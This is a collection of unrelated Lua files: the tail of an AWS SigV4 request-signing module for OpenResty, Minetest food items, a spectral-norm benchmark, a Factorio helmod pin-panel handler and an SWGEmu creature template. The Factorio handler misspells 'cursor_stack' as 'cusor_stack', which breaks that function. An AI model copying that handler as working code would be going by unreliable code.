return self:get_sha256_digest(canonical_request) end -- generate sha256 from the given string function _M.get_sha256_digest(self, s) local h = resty_sha256:new() h:update(s) return str.to_hex(h:final()) end function _M.hmac(self, secret, message) local h = hmac:new(secret, hmac.ALGOS.SHA256) local s = h:final(message, false) h:reset() return s end -- get signing key -- https://docs.aws.amazon.com/general/latest/gr/sigv4-calculate-signature.html function _M.get_signing_key(self) local k_date = self:hmac('AWS4' .. aws_secret, iso_date) local k_region = self:hmac(k_date, aws_region) local k_service = self:hmac(k_region, aws_service) local k_signing = self:hmac(k_service, 'aws4_request') return k_signing end -- get string function _M.get_string_to_sign(self) local param = { iso_date, aws_region, aws_service, 'aws4_request' } local cred = table.concat(param, '/') local req = self:get_canonical_request() return table.concat({ 'AWS4-HMAC-SHA256', iso_tz, cred, req}, '\n') end -- generate signature function _M.get_signature(self) local signing_key = self:get_signing_key() local string_to_sign = self:get_string_to_sign() return str.to_hex(self:hmac(signing_key, string_to_sign)) end -- get authorization string -- x-amz-content-sha256 required by s3 function _M.get_authorization_header(self) local param = { aws_key, iso_date, aws_region, aws_service, 'aws4_request' } local header = { 'AWS4-HMAC-SHA256 Credential=' .. table.concat(param, '/'), 'SignedHeaders=content-type;host;x-amz-date', 'Signature=' .. self:get_signature() } return table.concat(header, ', ') end -- update ngx.request.headers -- will all the necessary aws required headers -- for authentication function _M.set_ngx_auth_headers(self) ngx.req.set_header('Authorization', self.get_authorization_header(self)) ngx.req.set_header('X-Amz-Date', iso_tz) end -- get the current timestamp in iso8601 basic format function _M.get_date_header() return iso_tz end return _M
-- Incubator nutrients and failure. minetest.register_craftitem("mt_future:embryo", { description = "Failed cloning experiment", -- "Indistinct animal embryo" was perhaps a bit trashy :) inventory_image = "mt_future_embryo.png", -- actually a piglet :) on_use = minetest.item_eat(-2), groups = {food_meat_raw = 1, flammable = 2}, }) minetest.register_craftitem("mt_future:nutrients", { description = "Indistinct nutrients", inventory_image = "mt_future_nutrients.png", on_use = minetest.item_eat(-1), groups = {food_meat_raw = 1, flammable = 2}, }) -- Soylent crackers. Colorful, but not very nutritive. -- N.B. Soylent Color (with caps) might be a trademark, hence the naming. minetest.register_craftitem("mt_future:soylent_green", { description = "Green soylent cracker", inventory_image = "mt_future_soylent_green.png", on_use = minetest.item_eat(1), groups = {food_meat_raw = 1, flammable = 3}, }) minetest.register_craftitem("mt_future:soylent_red", { description = "Red soylent cracker", inventory_image = "mt_future_soylent_red.png", on_use = minetest.item_eat(1), groups = {food_meat_raw = 1, flammable = 3}, }) minetest.register_craftitem("mt_future:soylent_blue", { description = "Blue soylent cracker", inventory_image = "mt_future_soylent_blue.png", on_use = minetest.item_eat(1), groups = {food_meat_raw = 1, flammable = 3}, }) minetest.register_craftitem("mt_future:soylent_yellow", { description = "Yellow soylent cracker", inventory_image = "mt_future_soylent_yellow.png", on_use = minetest.item_eat(1), groups = {food_meat_raw = 1, flammable = 3}, })
-- The Computer Language Benchmarks Game -- http://shootout.alioth.debian.org/ -- contributed by Mike Pall local function A(i, j) local ij = i+j-1 return 1.0 / (ij * (ij-1) * 0.5 + i) end local function Av(x, y, N) for i=1,N do local a = 0 for j=1,N do a = a + x[j] * A(i, j) end y[i] = a end end local function Atv(x, y, N) for i=1,N do local a = 0 for j=1,N do a = a + x[j] * A(j, i) end y[i] = a end end local function AtAv(x, y, t, N) Av(x, t, N) Atv(t, y, N) end local N = tonumber(arg and arg[1]) or 100 local u, v, t = {}, {}, {} for i=1,N do u[i] = 1 end for i=1,10 do AtAv(u, v, t, N) AtAv(v, u, t, N) end local vBv, vv = 0, 0 for i=1,N do local ui, vi = u[i], v[i] vBv = vBv + ui*vi vv = vv + vi*vi end io.write(string.format("%0.9f\n", math.sqrt(vBv / vv)))
------------------------------------------------------------------------------- --[Planner Pin Panel (helmod)]-- ------------------------------------------------------------------------------- local Gui = require('__stdlib__/stdlib/event/gui') local lib = require('__PickerAtheneum__/utils/lib') local function pick_helmod_pin(event) local player = game.players[event.player_index] local recipe_name, item_name if not player.cusor_stack.valid_for_read then string.gsub( event.match, 'PlannerPinPanel_recipe_block_%d+=(.+)=(.+)', function(a, b) recipe_name = a item_name = b end ) local item = game.item_prototypes[item_name] local items = {} local module = event.element.parent['factory-modules' .. recipe_name] if module then for _, child in pairs(module.children) do local name = child.sprite and child.sprite:gsub('item/(.+)', '%1') if name and game.item_prototypes[name] then items[#items + 1] = { item = name, count = 1 } end end end if item and event.shift then local stack = lib.get_item_stack(player, item.name) if stack then return player.cursor_stack.swap_stack(stack) end elseif item then local entity = item.place_result local recipe = game.recipe_prototypes[recipe_name] if entity and recipe then local bp = lib.get_planner(player, 'picker-blueprint-tool', 'Pipette Blueprint') if bp then bp.clear_blueprint() bp.label = 'Pipette Blueprint' bp.allow_manual_label_change = false local bp_ents = { { entity_number = 1, name = entity.name, position = {0, 0}, recipe = recipe.name, items = items[1] and items } } bp.set_blueprint_entities(bp_ents) return bp.is_blueprint_setup() and bp end end end end end Gui.on_click('PlannerPinPanel_recipe_block_%d+=.+=.+', pick_helmod_pin)
pyke_syndicate_criminal = Creature:new { objectName = "", randomNameType = NAME_GENERIC, randomNameTag = true, socialGroup = "death_watch", pvpFaction = "death_watch", faction = "", level = 300, chanceHit = 100, damageMin = 6500, damageMax = 8050, specialDamageMult = 1.5, baseXp = 15000, baseHAM = 95000, baseHAMmax = 125000, armor = 2, resists = {165,165,165,165,165,165,165,165,200}, meatType = "", meatAmount = 0, hideType = "", hideAmount = 0, boneType = "", boneAmount = 0, milk = 0, tamingChance = 0.0, ferocity = 0, pvpBitmask = AGGRESSIVE + ATTACKABLE + ENEMY, creatureBitmask = KILLER, optionsBitmask = 128, diet = HERBIVORE, templates = {"object/mobile/dressed_black_sun_assassin.iff"}, lootGroups = { { groups = { {group = "trash_common", chance = 10000000}, }, lootChance = 10000000 }, { groups = { {group = "trash_rare", chance = 10000000}, }, lootChance = 2000000 }, { groups = { {group = "death_watch_bunker_ingredient_binary", chance = 10000000}, }, lootChance = 1000000 }, { groups = { {group = "death_watch_bunker_ingredient_protective", chance = 10000000}, }, lootChance = 1000000 }, { groups = { {group = "tierone", chance = 1500000}, {group = "tiertwo", chance = 3500000}, {group = "tierthree", chance = 2500000}, {group = "tierdiamond", chance = 2500000}, }, lootChance = 3500000 }, }, weapons = {"mandalorian_weapons_heavy"}, reactionStf = "@npc_reaction/slang", attacks = merge(pikemanmaster,tkamaster,marksmanmaster,pistoleermaster,carbineermaster,forcewielder) } CreatureTemplates:addCreatureTemplate(pyke_syndicate_criminal, "pyke_syndicate_criminal")